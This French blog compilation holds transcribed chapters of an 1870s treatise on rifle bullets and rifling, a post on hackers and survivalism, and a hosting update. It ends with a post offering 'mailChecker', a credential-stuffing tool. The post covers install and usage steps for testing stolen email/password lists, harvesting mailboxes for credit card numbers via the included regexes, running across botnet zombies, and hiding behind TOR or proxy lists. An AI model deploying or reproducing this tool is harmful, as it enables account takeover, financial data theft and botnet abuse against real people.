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Suite de la reprise d’un ouvrage de 1874. Cette fois relatif aux projectiles utilisés dans les armes anciennes.

6 – Forcement

Conditions générales auxquelles doit satisfaire le forcement.

Un mode de forcement quel qu’il soit, doit remplir les conditions générales suivantes:

1 – Le forcement doit être assuré, c’est à dire que la balle doit s’imprimer dans les rayures d’une quantité suffisante pour ne pas leur échapper pendant son trajet dans l’âme, et pour prendre le mouvement de rotation qui correspond à son inclinaison.

2 – Il doit être complet, c’est à dire qu’il ne doit rester aucun jour entre la balle et le canon, afin d’éviter les fuites de gaz, ce qui diminue la vitesse initiale et peut faire dévier la balle de sa direction.

3 – Enfin, il doit être régulier, c’est à dire se produite à chaque coup de la même manière, condition essentielle pour la régularité du tir.
Nous allons décrire les divers procédés de forcement qui ont été successivement employés.

Forcement au maillet

Le moyen le plus anciennement employé pour forcer le projectile dans les rayures consistait à faire entrer de force la balle, d’un diamètre un peu plus grand que celui du canon, jusque sur la charge de poudre, au moyen d’une baguette et d’un maillet. Ce procédé adopté en 1793 pour la carabine de Versailles, premier modèle d’armes rayées qui ait été réglementaire en France, et qui fut abandonné en 1805.

Procédé Delvigne

Monsieur Henri Gustave DELVIGNE
Henri-Gustave Delvigne

Le mode de forcement proposé par M. Delvigne en 1827, consistait à terminer le canon à sa partie postérieure par une chambre, ou partie rétrécie, sur laquelle la balle venait prendre appui.
La balle, d’un diamètre plus petit que celui du canon, était poussée jusqu’à l’entrée de la chambre, et on la forçait à s’épanouir sur le ressaut au moyen de quelques coups de baguette.

forcement

Ce procédé donne un forcement irrégulier et déforme la balle : on l’a modifié en interposant, entre la charge et la balle, un sabot de bois muni d’un calepin de serge graissé cloué sur le sabot. Ce nouveau genre de chargement eu le grand mérite de mettre les expérimentateurs sur la bonne voie. L’emploi du calepin graissé remédiait aux inconvénients d’un encrassement prématuré, et la présence du sabot, qui empêchait la balle de s’allonger dans le sens de l’axe du canon et l’obligeait à s’élargir dans le sens perpendiculaire, en déterminant d’une augmentation considérable dans la justesse, mit en relief ce principe remarquable que la théorie explique et que l’expérience confirme, savoir :

L’aplatissement des balles rondes augmente la stabilité de leur axe de rotation et par la suite, la justesse de leur tir.

Ce procédé avait l’inconvénient de ne permettre l’emploi que de faibles charges : on ne pouvait, en aplatissant les balles sphériques, que forcer une très petite quantité de plomb à s’imprimer dans les rayures, et cette quantité de plomb ne présentait pas une résistance suffisante à l’arrachement sous l’action de charges un peu considérables; de plus, ces armes exigeaient des cartouches spéciales de fabrication compliquées.

Armes à tige

Le forcement au moyen d’une tige est dù à M. Thouvenin (Louis-Étienne Thouvenin, désolé, pas de photo publique de ce monsieur !), officier d’artillerie, qui proposa en 1844, de supprimer la chambre et de donner pour point d’appui à la balle, pendant son forcement par la baguette, une tige en acier vissée dans la culasse.

forcement tige

En même temps, M. Minié, officier d’infanterie, proposa de remplacer les balles rondes par des balles de forme conique.

Minie
Claude Étienne Minié

Le forcement sur la tige appliqué aux balles oblongues donne un forcement plus complet que le précédent; mais il a encore l’inconvénient de varier d’intensité avec chaque tireur.

balle suisse

On a utilisé ce mode de forcement dans la carabine à tige modèle 1846, qui tirait une balle oblongue à trois cannelures.
Fusil à tige

Balles expansives

Afin d’éviter les différences de forcement provenant du mode de chargement du tireur, on a imaginé de forcer les projectiles par l’action même des gaz de la poudre, en pratiquant à leur partie postérieure un évidement de forme convenable.
Les gaz de la poudre en entrant dans cet évidement, au moment de l’explosion, forcent, par leur pression, les parois de la balle à s’épanouir et à pénétrer dans les rayures.

On peut se servir, pour provoquer cette expansion, de l’intermédiaire d’un culot tronconique que l’on place à l’entrée de l’évidement.

balle a culot

Si ce culot a une masse moindre que celle de la balle et présente une surface relativement plus grande qu’elle à l’action des gaz de la poudre, il tendra à se mettre en mouvement avant le projectile, pénétrera à son intérieur et le forcera dans les rayures.
Ce procédé a été proposé par M. Minié en 1849. Le poids considérable de la balle (49 grammes) fit ajourner à son adoption.

On peut, pour provoquer l’expansion des balles, se passer du culot et créer, en employant des évidements pyramidaux des parties faibles qui permettent un forcement suffisant. C’est en travaillant dans cet ordre d’idées que l’on est arrivé, en France, à la balle évidée de la garde (1854) et à la balle d’infanterie modèle 1857, qui pesait 32 grammes et possédait un évidement pyramidal, à base triangulaire. Cette balle, l’œuvre presque exclusive de M. Nessler, a été ensuite remplacée par la balle de 36 grammes modèle 1863, à évidement pyramidal à base quadrangulaire.

Les balles évidées exigeant, en définitive, une assez faible épaisseur autour de l’évidement, sont sujettes à un inconvénient sérieux quand le forcement est trop prononcé. Le frottement qui en résulte peut déterminer l’arrachement des parois de l’évidement ou leur séparation d’avec la partie massive antérieure. Il peut arriver aussi que, par suite du peu d’épaisseur entre la pointe de la balle et la pointe de l’évidement, la balle soit perforée par l’action des gaz.
il est donc important de régler soigneusement pour ces balles la profondeur de l’évidement ainsi que l’épaisseur des parois.
La balle expansive est cependant, pour les armes rayées de gros calibre se chargeant par la bouche, une balle d’excellent usage, se forçant d’une manière énergique et se prêtant aux variations de calibres.

Forcement par inertie

Ce mode de forcement se base sur le raisonnement suivant :
Sous l’action des gaz de la poudre, la balle ne prends pas un mouvement instantané. La partie postérieure reçoit une pression qui ne se transmet à la masse entière qu’au bout d’un temps fini. La balle est donc soumise, à l’origine, à une compression de la partie postérieure sur la partie antérieure, et qui tends à refouler ses molécules et à augmenter son diamètre. Si le vent de l’arme est faible, la balle se force sans qu’il soit nécessaire de l’évider à sa partie postérieure. Ce forcement réussit d’autant mieux que les balles sont plus longues.
Ce mode de forcement peut être facilité par l’emploi de balles dans lesquelles on ménage des rainures de forme tronconique simple ou formées de troncs de cône superposés par leur petite base.
Exemple : La balle Lorentz (Autriche), la balle suisse.
balle lorentz

L’expérience a montré que les effets de compression dépendent moins de la forme des projectiles que de leur longueur en calibres. Les cannelures des balles ne sont pas indispensables pour le forcement.
La commission de Vincennes, des ses études pour l’adoption d’une arme de petit calibre, avait songé à utiliser le forcement par affaissement ou par inertie, dans son fusil de 11,5 mm qui se chargeait par la bouche.
Le forcement par affaissement est tellement énergique, qu’elle avait adopté une balle dans laquelle le profilé était creusé sur la hauteur AB, de manière à réduire le diamètre du projectile vers son milieu, son calibre étant déjà inférieur de 1/2 millimètre à celui de l’âme.

ballse ecrasement

En employant le chargement par la culasse, il suffit, pour avoir un bon forcement, de donner à la balle et à la chambre un diamètre un peu plus grand que celui du canon : ordinairement le calibre augmenté du double de la profondeur des rayures.
Si l’on veut éviter la déformation du projectile, on peut lui donner un diamètre moindre que celui de l’âme et engager sa partie inférieure dans un sabot en carton comprimé d’un diamètre plus grand que les rayures; ce sabot entre dans les rayures, est dirigé par elles, et, en comprimant le projectile, le force à prendre le même mouvement de rotation.

balle a sabot

Ce mode de forcement est employé pour le fusil à aiguille prussien.

fusil prussien a aiguilles

Ce sabot qui complique la cartouche est souvent insuffisant pour assurer un mouvement de rotation régulier à la balle.
Dans le fusil modèle 1866, le forcement est obtenu par la différence de calibre entre le projectile et le canon.
Le projectile a au culot un diamètre de 11.70 mm.

balle francaise

Dans le fusil modèle 1874, le forcement est obtenu également par une très faible différence entre le calibre à la partie antérieure et à la partie postérieure.

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Comme certains lecteurs de ce blog le savent, je suis un passionné de la guerre de 70. Je m’intéresse de entre autre à la restauration d’armes anciennes à poudre noire.

Je suis tombé il y a quelques semaines sur un livre très intéressant en me baladant dans une des nombreuses brocantes parisiennes. Il s’agit d’un ouvrage de 1876 appelé “cours théorique de tir”. Cet ouvrage est une mine d’information pour qui s’intéresse un peu aux armes anciennes.

Ne trouvant aucune version numérisée du livre accessible en ligne, vous trouverez dans ce blog la retranscription de quelques chapitres. J’en écrirai au fur et à mesure du temps et de mes envies du moment.

Aujourd’hui, je vous offre votre premier cours sur la forme des rayures.

5 – De la forme des rayures

Définitions

On emploie, dans les armes rayées, des rayures de différentes natures, que l’on peut définir de la façon suivante:

  • Les rayures droites sont celles qui sont parallèles à l’axe du canon.
  • Les rayures hélicoïdales sont celles qui forment un angle constant avec les parallèles à l’axe tracées sur la surface intérieure de l’âme ou les génératrices de l’âme du canon. elles sont dites à pas constant.
  • Les rayures paraboliques sont celles dont l’inclinaison sur les génératrices varie d’un point à un autre. Cette inclinaison va ordinairement en croissant de la culasse vers la bouche, et ces rayures sont dites à pas progressif (progressif à partir de la bouche).
    Ces différentes rayures sont dites uniformes ou progressives, suivant que leur profondeur est constante ou qu’elle va en décroissant de la culasse vers la bouche. Il eût peut-être mieux valu dire : rayure à profondeur décroissante, et, au lieur de rayure à pas progressif, rayure à pas décroissant.

Rayures hélicoïdales

Soit ABCD le cylindre qui consiste en l’âme du canon. Je suppose ce cylindre coupé suivant la génératrice AC et développé sur un plan de façon que abf soit la longueur totale de la circonférence AB.

Si je trace une droite aa’ faisant un certain angle avec la génératrice ac, et si je suppose ensuite que l’on enroule cette droite sur le cylindre, cette droite s’enroulera suivant une certaine courbe qu’on appelle hélice.
Cette courbe, qui fait un angle constant avec les génératrices du cylindre, a, de plus, la propriété d’intercepter successivement, sur une même génératrice, des longueurs constantes: C’est à dire que, deux points quelconques de la courbe, situés sur une même génératrice, sont séparés par une longueur constante.
Cette longueur constante est le pas de l’hélice.
Si nous considérons, par exemple, la ligne qui passe par le milieu d’une rayure, la rayure hélicoïdale sera celle dans laquelle cette ligne sera enroulée en hélice autour du cylindre de l’âme.

D’après la propriété de l’hélice, cette rayure est à pas constant et son pas sera la longueur comptée parallèlement à l’axe du canon, sur laquelle elle aura fait un tour complet dans l’intérieur de l’âme.

L’expérience a démontré que, pour une même arme, une même balle allongée et une même charge de poudre, la variation du pas n’a qu’une faible influence sur la vitesse initiale. Les expériences les plus récentes ont démontré que, avec les balles et la poudre dont on fait usage en France, le pas doit rester compris entre 45 cm et 60 cm.

Pour les projectiles lancés avec une même vitesse initiale, le nombre de tours faits par le projectile en une seconde dépend de la longueur du pas.

Soit V la vitesse de la balle à sa sortie du canon, quand elle aura parcouru une longueur égale au pas p, elle aura fait un tour sur elle-même :

V désignant la longueur qu’elle parcourt en une seconde, V/p mesurera le nombre de tours qu’elle fera par seconde. Ce qu’on exprime en disant que le nombre de tours fait par le projectile en une seconde est le quotient de la vitesse initiale par le pas de a rayure.

L’angle décrit par seconde ou la vitesse initiale angulaire sera égal à 2*pi*(V/p), cet angle étant mesuré par l’arc dans le cercle ayant pour rayon l’unité de longueur. On voit, par cette expression, que, à égalité de vitesse initiale, la vitesse de rotation est d’autant plus grande que le pas est petit et que, à égalité de pas, elle est proportionnelle à la vitesse initiale.

Dans le fusil modèle 1866 (chassepot), pour la charge de 5,55 grammes, la vitesse initiale est de 410 mètres par seconde, le pas p = 55 cm ; la vitesse angulaire de rotation est, à la sortie du canon, d’environ 4678, et la balle tourne de 745 tours par seconde.

Dans le fusil modèle 1874 (fusil gras), pour la charge de 5,25 grammes, la vitesse initiale est de 450 mètres par seconde, le pas est de 55 cm, la balle tourne de 818 tours par seconde.

Rayures paraboliques

Afin d’éviter que, dans l’adoption d’une grande charge et d’un faible pas, le projectile ne franchisse les rayures en s’y déchirant sans les suivre, on a adopté dans certaines armes, surtout en Amérique, pour directrice de la rayure, une hélice à pas variable, décroissant de la culasse à la bouche du canon.
On appelle cette rayure, à pas progressif (progressif à partir de la bouche). Dans ce cas, le développement de l’hélice est une courbe au lieu d’une ligne droite, et, en général, une courbe parabolique, ce qui fait donner à ces rayures le nom de rayures paraboliques.
Ce système à l’inconvénient de déformer, à mesure que la balle s’avance dans le canon, la dentelure produite sur la balle par l’élément de rayure correspondant à la position que cette balle occupait à l’instant précédent.

Le pas de rayure parabolique est le pas de l’hélice ayant l’inclinaison finale considérée.

Du profil des rayures

On distingue dans une rayure : le fond, en général concentrique à l’âme; les deux flancs ; leurs raccordements avec le fond et avec l’âme.

Conditions qui doivent servir à déterminer les dimensions du profil des rayures.

Pour qu’une balle, une fois forcée dans le canon, soit conduite par les rayures, il faut que les saillies, nervures et dentelures produites par l’impression des parties creuses de la surface de l’âme dans le plomb de la balle restent dans les rayures de manière à ne pas s’en échapper.
Le profil de celle-ci doit être tel que le plomb puisse en prendre facilement la forme. Leur tracé doit être autant que possible débarrassé des saillies anguleuses : aussi raccorde-t-on par des arcs de cercle les différentes lignes du profil, à l’exception de l’intersection du flanc avec l’âme, où on laisse subsister la saillie afin au métal du canon de mordre plus sûrement dans le plomb, et de forcer la balle à suivre la rayure : une fois la balle engagée dans la rayure, il faut qu’elle n’y échappe plus jusqu’à sa sortie du canon.
Pour que la balle de franchisse pas la rayure, il faut régler convenablement la largeur et la profondeur. Si la profondeur est trop grande, le forcement peut être incomplet, ou tellement énergique, qu’une partie du travail produit par l’expansion des gaz est absorbée par le frottement de la balle dans les rayures.
Si la profondeur est trop petite, l’encrassement peut combler, au bout d’un petit nombre de coups, la rayure, dont l’effet ne se fera plus sentir alors sur le projectile.
Il faut donc se tenir entre certaines limites que l’expérience indique pour chaque espèce de balle. La profondeur de 0,2 mm à 0,4 mm est, en général, suffisante. On peut réduire d’autant plus cette profondeur que le calibre est petit.
La rayure a une profondeur de 0,3 mm dans le fusil modèle 1866 (chassepot) et de 0,25 mm dans le fusil modèle 1874 (fusil gras).
Les rayures doivent avoir une largeur assez grande pour que les dentelures de la balle puissent résister au frottement qu’elles subissent à l’intérieur du canon ; ce frottement est d’autant plus grand que la rayure est plus inclinée par rapport à l’axe. Il s’ensuit que la largeur de la rayure doit être en raison de son inclinaison. Dans les fusil modèle 1866 et 1874, la largeur du couteau est de 1/8 de la circonférence, les pleins étant égaux aux vides. La rayure a une largeur de 4,32 mm environ.

Du flanc des rayures

La direction des flancs est généralement parallèle au rayon qui aboutit au milieu de la rayure ; c’est ainsi que sont disposés les flancs de la rayure du fusil modèle 1866.

Profil de la rayure du fusil modèle 1866.

Ces flancs sont raccordés avec le fond par un petit arc de cercle.

Profile de la rayure du fusil modèle 1874

Le profil de la rayure a été modifié dans le fusil modèle 1874. La largeur de la rayure est, comme dans le fusil modèle 1866, 1/8 de la circonférence, soit 4,32 mm.

La profondeur est de 0,25 mm au lieu de 0,3 mm.
Les flancs de la rayure parallèles au rayon mené par le centre de la rayure n’existent plus.
Le fond de la rayure est raccordé indirectement avec l’âme par un arc de cercle de 0,5 mm dont le centre se trouve sur le cercle tracé intérieurement avec un diamètre de 10,5 mm.

Rayures progressives

La balle s’use par le frottement en allant du tonnerre à la bouche, on peut craindre que le forcement ne soit insuffisant vers la fin de son trajet. Pour que le forcement ne cesse pas d’être complet, on peut diminuer progressivement la profondeur de la rayure du tonnerre à la bouche.
Ce procédé n’a pas de raison d’être pour les balles évidées (I.e. les balles en plomb mou qui ont une petite cavité au culot de la balle, avec l’expansion des gaz s’engouffrant dans cette cavité, la balle se dilate et colle bien aux rayures. J’y reviendrai plus tard dans ce blog), ne parait pas donner pour les balles pleines un avantage marqué sous le rapport de la justesse, quand le forcement est suffisant au départ : il a l’inconvénient de diminuer la portée en augmentant le frottement à l’intérieur de l’âme.

Nombre de rayures

Des expériences nombreuses faites sur des armes ayant de 24 à 3 et 2 rayures, ont montré qu’il y avait avantage à prendre un petit nombre de rayures. Moins il y a de rayures, plus le forcement est facile, puisqu’il y a moins de vides à remplir ; mais les dentelures de la balle étant moins nombreuses, devront, pour résister au frottement, être assez larges et suffisamment profondes.
L’usage de se borner maintenant à un nombre de rayures qui varie de 3 à 9, les pleins étant égaux aux vides, n’a rien d’absolu.
Les fusil modèle 1866 et modèle 1874 ont 4 rayures.

Rayure Henry

En Angleterre, on a trouvé avantageux d’augmenter le nombre des rayures, tout en réduisant les surfaces de pénétration, afin de bien maintenir la balle et de diminuer les pertes de forces vives.
Le tracé de la rayure du fusil Henry-Martini se fait au moyen d’un polygone étoilé de sept côtés, dont les angles rentrants forment autant de côtes saillantes à l’intérieur de l’âme.
Pour exécuter ce tracé, il faut décrire deux circonférences concentriques de diamètre 0.450 de pouce anglais (11,3 mm) et de 0.456 (11,81 mm), ce qui donne une profondeur de rayure de 0.015 pouces /2 = 0,17 mm.
Il faut ensuite au point A, pris sur la circonférence intérieure, mener la tangente BAX, prendre à droite et à gauche deux longueurs égales à :

( 0.03 pouce / 2 ) * 0,379 mm ;

Mener OD tel que l’angle AOD = 360 / 14

Sur la tangente en D prendre, de part et d’autre de D, deux longueurs égales à (0.01 pouce / 2) * 0,127 mm , mener par E,EX tel que EXO = 360/7 :
Prendre GH = 0.014 pouces (0,35 mm) ; joindre le point H au point B ; faire la construction symétrique par rapport à OX.
Comme vérification, la corde GG’ doit être égale à 0.148 pouce (3,76 mm).
On voit qu’il y a, en réalité, 14 pleins de deux dimensions différentes. Le pas de cette rayure est constant et égal à 22 pouces (0,559 m).

Pour éviter le plombage et l’encrassement des rayures, on a adopté, dans certaines armes, des tracés particuliers pour l’âme des canons. Le canon fait, par la forme de sa section, l’office des rayures sans en avoir l’inconvénient.

Armes Withworth

Dans les armes du système Withworth, l’âme est engendrée par un hexagone régulier à angles abattus par des pans coupés de 1,3 mm, qui est animé d’un mouvement de translation le long de l’axe du canon, et d’un mouvement de rotation autour de cet axe. Ces deux mouvements sont uniformes.
Chaque pas de l’hexagone engendre une hélice au pas de 0,50 mm. C’est comme si il y avait six rayures sans pleins d’une largeur égale à la moitié du calibre.

Armes Lancaster

Dans l’arme Lancaster, l’âme est engendré par une ellipse ayant un mouvement analogue au polygone de l’arme Withworth, avec un pas constant de 0,76 mm pour l’hélice ou quelquefois un pas progressif. C’est comme si on avait deux rayures sans pleins dont la profondeur serait égale à la demi-différence des axes de l’ellipse.
Dans certains types Lancaster, l’ellipse elle-même varie du tonnerre à la bouche, le petit axe et le grand axe conservant une différence constante de 0,3 m. La profondeur des rayures reste constante, mais leur largeur diminue progressivement du tonnerre à la bouche.





Grand axe À la culasse : 42,02 mm
À la bouche : 14,96 mm
Petit axe À la culasse : 14,72 mm
À la bouche : 14,66 mm

Du sens des rayures

On définit le sens de la rayure par le sens dans lequel elle tourne dans la partie supérieure d l’âme, pour un tireur qui regarderait le canon par la culasse.
On avait d’abord adopté pour les rayures le sens de gauche à droite, espérant ainsi corriger la déviation qui se produit vers la gauche, quand le tireur penche l’arme à gauche, pour rapprocher la hausse de l’oeuil. On est revenu aujourd’hui sur cette opinion, et comme on a plutôt constaté une déviation vers la droite provenant du mouvement de recul qui, s’exercant sur l’apaule droite du tireur, tend à le faire pivoter et à porter l’extrémité du canon à droite, on a tracé des rayures de droite à gauche pour corriger cette déviation.

Longueur de la partie rayée

Afin d’éviter le choc violent de la balle contre les rayures, on a pensé qu’il était convenable que les deux mouvements de translation et de rotation de la balle commencent en même temps.
Aussi a-t-on, jusqu’à présent, fait commencer la partie rayée au point de la chambre où est logées la balle. Des expériences toutes nouvelles semblent prouver qu’il est même préjudiciable de rayer le canon dans toute sa longueur.
Il suffirait, suivant M. William Murphy, de rayer le canon vers la bouche, sur une longueur de 0,10 m. Les avantages que l’on en retirerai d’après le dire de l’inventeur seraient les suivants :

1 – Une grande diminution de recul, sans réduction de la charge, et sans accroissement du poids de l’arme. Les rayures commençant à l’emplacement de la charge présentent en effet une résistance à la communication de la vitesse initiale et déterminent, par suite, un accroissement du recul.
2 – Une augmentation de la vitesse du projectile et, par suite, une plus grande tension de la trajectoire, sans diminution de la justesse en direction.
3 – Par suite de la situation des rayures, une grande facilité de forage, d’alésage, et plus de précision dans l’exécution.
4 – Enfin, principalement, une diminution considérable des frais de fabrication réunion à plus d’exactitude dans le pas et la forme des rayures, conséquence principale du peu d’étendue de la partie de l’arme où elles sont ménagées.

Les expériences de M. Murphy auraient besoin d’être renouvelées pour que l’on pût en tirer des conclusions certaines : tout ce que nous pouvons affirmer, c’est que, lors des études pour la transformation du fusil modèle 1866 en modèle 1874, on n’a constaté aucune différence de justesse dans le tir du fusil neuf et du fusil transformé, bien que, dans ce dernier, on n’ait commencé la partie rayée qu’au point où on finit le tube que l’on est obligé d’introduire à l’intérieur du canon, à 26 mm environ en avant de la partie antérieure à la balle.
On n’avait pas rayé le tube pour n’altérer en rien sa solidité et diminuer les difficultés de fabrication.

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Contrairement à une mouvance commerciale moderne, le bricolage dans sécurité informatique n’est qu’une infime portion du domaine infiniment plus grand qu’est le hack. Le hack, c’est avant tout un état d’esprit. Un jeu permanent en gardant toujours l’ultime question en tête: pourquoi et comment ça marche ?

En découle alors, le “Tiens, et si je bricolais ça avec, ça donne quoi ?”

Comme beaucoup l’auront compris, je suis considéré par la plupart des gens comme un hacker, comprendre un bricoleur curieux. Je viens au départ d’un milieu scientifique (la biologie et l’informatique). Bien loin donc du “survivalisme”.

Mais qu’est-ce que le survivalisme viens faire là dedans ? J’y viens, cher lecteur.

Grosso modo, on peut avoir deux visions du survivalisme:

- L’approche “Oh mon dieu ! L’apocalypse arrive, il faut que je stock huit tonnes de riz dans mon garage !”, laquelle n’est pas vraiment pertinente, ou du moins présente un ratio gain / cout inestimable dû à l’indétermination de la probabilité d’occurrence de la catastrophe. Voici ce qu’implique cette approche:

Survivaliste shelter

- L’approche “Je veux être indépendant, en cas de problème, ça peut toujours servir.”, plus logique. Et c’est précisément cette approche qui est la plus intéressante pour nous ici. Voici ce que ça peut impliquer:

Survivaliste culture

C’est plus sympathique non ?

Bref, par définition, un hacker aime bricoler, bidouiller des machins et en faire d’autres trucs rigolos. Lesquels trucs font beaucoup moins rire les grosses entreprises lorsqu’il s’agit de leur salle serveur, ou de leur dernier système DRM
Du fait même qu’il aime savoir comment les choses marchent, un hacker a tendance à rechercher l’indépendance.

Prenons un exemple avec une messagerie de courriels:

  • Du point de vue du hacker, non seulement c’est beaucoup plus amusant de maintenir son postfix que d’utiliser le service gmail foireux de Go*gle, mais en plus ça permet de garder ses infos personnelles vraiment personnelles.
    Que des avantages pour celui qui aime bricoler.
  • Le survivaliste arrive à en effectuer le même travail par un autre raisonnement: “Demain, Gmail peut se casser la figure, c’est mieux d’avoir son propre service afin de rester en ligne”. Ce qui va donc le pousser à monter son propre service de messagerie, tout comme le hacker l’a fait.

Le survivaliste arrive donc aux mêmes conclusions que le hacker par un raisonnement différent.

C’est à ce moment qu’il est utile de noter un point:

Du fait de la restriction du savoir, un Hacker recherche l’indépendance; un Hacker veut être libre de faire ce que bon lui semble de ce qu’il bricole.
Le même raisonnement poussé un peu plus loin va rendre le hacker de plus en plus indépendant. Au point que la finalité deviendra non seulement la satisfaction de la curiosité, mais aussi la satisfaction que son savoir lui apporte cette indépendance.

C’est ici que le hacker deviens sans le savoir survivaliste. Pour ma part, je ne m’en suis rendu compte que très récemment en fréquentant par hasard des forums de survivalistes en essayant de bricoler un éclairage maison.

Je me suis mis à cultiver mon balcon, à essayer de devenir de plus en plus indépendant dans tous les aspects de ma vie. Au final, c’est une grande satisfaction. On apprends énormément et c’est toujours une immense joie que de consommer le fruit de son travail avec sa famille plutôt que d’aller acheter un équivalent sans âme en grande surface.

Regardez ce blog par exemple. Il est hébergé chez moi, par moi, en utilisant cette petite machine toute simple:

raspberry pi

Pour l’instant, ça marche sur le secteur, mais la prochaine étape est de l’alimenter avec des batteries et un panneau solaire !

Alors, amis hackers, je ne peut que vous encourager à aller voir un peu nos amis survivalistes. Les deux communautés ont énormément à s’offrir mutuellement. Les frontières entre ces deux mondes sont très ténues.

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Après de nombreux mois de bons et loyaux services, l’alimentation du petit Raspberry qui servait à l’hébergement de ce blog a commencé à faire des siennes. Ce qui explique l’absence en ligne de ce blog depuis plusieurs mois, rien ne pressant son rallumage étant donné son usage très occasionnel. Me voici donc de retour, avec un alimentation de dépannage…

funny electric

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Il y a quelque temps de ça, un curieux personnage est passé sur un des forums de bidouille que je fréquente pour proposer des services de vérification de listes de courriels, et l’extraction automatique des données intéressantes depuis les boites accessibles.

Je me suis alors souvenu que j’avais écris un outil en ruby qui faisait un peu ça, il y a quelques années.

Suite à la demande de plusieurs membres de ce forum, j’ai récupéré de vieux disques durs tout poussiéreux au fond de mes armoires pour retrouver le programme.

Je vous présente donc mailChecker. Un petit outil qui permet de :

- Tester rapidement des listes de mails / mots de passe
- Scanner le contenu des messageries accessibles pour trouver les infos intéressantes à l’aide de regexs personnalisables.
- Le programme est aussi conçu pour marcher sur un botnet.

Mailchecker a été conçu comme un petit outil perso. Sa publication n’a jamais été prévue, ce qui explique certains points flemme-cracra dans le code.

Voici le code :

download
Telecharger MailChecker v 0.8.1

Vous trouverez ci dessous les détails relatifs au programme:

MailChecker est conçu pour fonctionner en deux modes distincts.

- Un mode single (où vous ne disposez que de votre propre poste pour effectuer le travail)
- Un mode distribué conçu pour être déployé sur un botnet. Dans ce cas, vous devez déployer le programme en mode serveur sur les zombies, et lancer le programme en mode maitre sur votre machine. ( Lorsqu’un ou plusieurs bots passent hors ligne, leur travail est automatiquement réparti sur les bots restants )

Apercu du fonctionnement de MailChecker

Le programme est aussi capable de masquer votre identité en utilisant TOR, ou des listes de proxys SOCKS. Dans le cas où vous ne disposez pas de listes à jour, le programme peut automatiquement mettre sa liste à jour en allant récupérer des proxys frais depuis le net.

Après un petit passage de nettoyage et de remise à jour rapide du code, le programme fonctionne sur ruby 1.9.1.

INSTALLATION

1 – Récupérer le code source.
2 – Décompresser l’archive

$ tar -xvf mailChecker.tar.gz

4 – Installer ruby 1.9.1

$ sudo apt-get install ruby1.9.1

5 – Installer les différents gems requis

$ sudo gem install rubyzip
$ sudo gem install ipaddress
$ sudo gem install socksify
$ sudo gem install simplews
$ sudo gem install soap4r
$ sudo gem install socksify
$ sudo gem install colorize
$ sudo gem install zip-zip

Si vous lancez le programme dès à présent, vous aurez l’erreur suivante :

/var/lib/gems/1.9.1/gems/soap4r-1.5.8/lib/xsd/xmlparser.rb:74:in `<top (required)>': XML processor module not found. (RuntimeError)

Il est nécessaire de corriger une régression dans xmlparser.rb à la ligne 76

$ sudo vim /var/lib/gems/1.9.1/gems/soap4r-1.5.8/lib/xsd/xmlparser.rb

Remplacez

c.downcase == name

par

c.to_s.downcase == name

Vous pouvez ensuite lancer le programme

cd ./mailChecker/lib
ruby ./mailchecker.rb

CONFIGURATION

Si vous avez correctement réalisé les manipulations décrites au dessus, vus devriez voir le manuel s’afficher


Usage: mailchecker [MODE] [OPTIONS]

mailChecker [v 0.8.1] : email list password checker and data extractor. This program can be used to automatically scan a large number of email accounts and fetch any interresting content (see /resources/regexmatchers.rb). This program can be used in single mode, listen mode (for botnet use), and master mode (botnet control).
MAILLIST.CSV If not in listen mode, you MUST provide an email / password list in CSV format. The CSV separator MUST be tab
Options -p, —proxy PROXYIP:PORT Use some user defined proxy (SOCKS 5 only !). Set this option to use the TOR network. -c, —check-tor Checks that TOR network is properly configured. -m, —maillist MAILIST.CSV Use this mailist to check email/password couples. The mail list must be in CSV format, each line must be like mail@domain.com\tpassword . -b, —botnet BOTNETIPS.TXT Use this option to delegate work to running instances of mailchecker in listen mode on your zombies. The .txt file must contains an IP:PORT list. The port to use is the one used by slave instance (listen mode) of mailchecker running on the zombie. -v, —verbose Activate verbose mode. -a, —autoproxy Fetch automatically a proxy list from search engine, test it and use it -z PROXYLISTFILE.txt, Test and use custom proxy list file. The proxy file format must be in text format, each line shall use the following format: proxyip:port —proxylist -n, —noproxy Use non-anonymous direct connection. -h, —help Display this manual -l, —listen PORT Listen mode. Activates service mode using specified port. —password argment must be setted. Use this mode when mailchecker is deployed on your zombies. -w, —password PASSWORD Password needed to use mailchecker service in listen mode.

Le programme peut fonctionner directement sur votre poste ou être déployé sur un botnet.

Pour vérifier une liste de mails, transformez votre liste vers un format csv utilisant le séparateur tabulation. Votre fichier csv est alors de la forme suivante:

mnichalou1@gmail.com	123passwordx
abc@mail.com	xxx
mnichalou1@gmail.com	123password

Le ficher de liste de mails doit être indiqué avec l’option -m si nécessaire.

Suivant que vous souhaitez être anonyme ou non, vous pouvez utiliser les options suivantes :
—proxy : Permet d’utiliser un proxy SOCKS
—autoproxy : Le programme va directement chercher sur internet les proxys qu’il va tester et utiliser
—proxylist : Le programme va utiliser une liste de proxys au format texte (chaque ligne doit être au format proxyip:address)
—noproxy : Se connecte directement, sans masquer son identité

Voici un exemple de fichier liste de proxys:

101.55.12.75:1080
50.131.252.186:29662
222.88.155.3:1080
111.207.146.125:1080
88.190.12.131:9865
61.152.200.187:8080
42.121.14.41:1080
183.61.243.9:1080
210.27.145.144:1080
42.121.29.122:1080
61.147.67.2:9124
118.69.198.212:1080
211.167.76.180:1080
42.121.82.151:1080
189.2.252.100:1080
115.156.165.3:1080
119.184.214.18:1080
222.85.131.98:1080
221.238.142.199:1080
61.144.222.144:1080
112.95.164.35:1080
186.120.97.26:6588
76.111.9.108:22841
67.170.229.143:54322
208.185.48.27:1080
180.153.139.246:8887
61.136.68.76:1080

Pour spécifier au soft ce que vous recherchez dans les boites mails, vous devez éditer le fichier /resources/regexmatcher.rb . Ce fichier contient les regex utilisées pour repérer les données d’intérêt. Chaque mail qui contient une ou plusieurs chaines de caractères correspondant à une de ces regexs sera copié par le programme pour que vous puissiez y effectuer des analyses ultérieures.

Par défaut, le fichier regexmatcher.rb est le suivant:

{
    :cc_amex  => /3[47][0-9]{13}/,
    :cc_visa => /4[0-9]{12}(?:[0-9]{3})?/,
    :cc_mastercard => /5[1-5][0-9]{14}/,
    :cc_dnsclb => /3(?:0[0-5]|[68][0-9])[0-9]{11}/,
    :cc_discover => /6(?:011|5[0-9]{2})[0-9]{12}/,
    :cc_jcb => /(?:2131|1800|35\d{3})\d{11}/
}

Il permet de rechercher les mails contenant des données relatives aux cartes de crédit American Express, Visa, Mastercard, Discover, DNSCLB et jcb.

MODE SINGLE

Dans l’exemple suivant, nous configurons le soft pour utiliser tor (proxy a 127.0.0.1:9150) pour aller scanner le contenu des boites mails:

$ ruby ./mailchecker.rb -p 127.0.0.1:9150 -c -m ../test/resources/mail_list.csv
[!] Checking if TOR is properly configured
